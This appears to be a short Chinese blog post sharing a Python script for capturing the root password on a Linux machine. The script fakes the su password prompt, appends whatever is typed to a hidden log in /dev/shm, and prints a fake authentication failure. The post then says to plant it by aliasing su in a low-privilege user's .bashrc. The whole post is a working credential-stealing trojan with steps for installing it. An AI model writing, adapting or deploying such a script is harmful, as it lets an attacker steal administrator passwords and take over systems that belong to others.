记录一个linux下小脚本(记录root密码）

#!/usr/bin/python   import os, sys, getpass, time   current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log" #CentOS #fail_str = "su: incorrect password" #Ubuntu #fail_str = "su: Authentication failure" #For Linux Korea fail_str = "su: incorrect password"   try:         passwd = getpass.getpass(prompt='Password: ');         file=open(logfile,'a')         file.write("[%s]/t%s"%(passwd, current_time))         file.write('/n')         file.close() except:         pass time.sleep(1) print fail_str

将这个python脚本传上去，再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/.su’;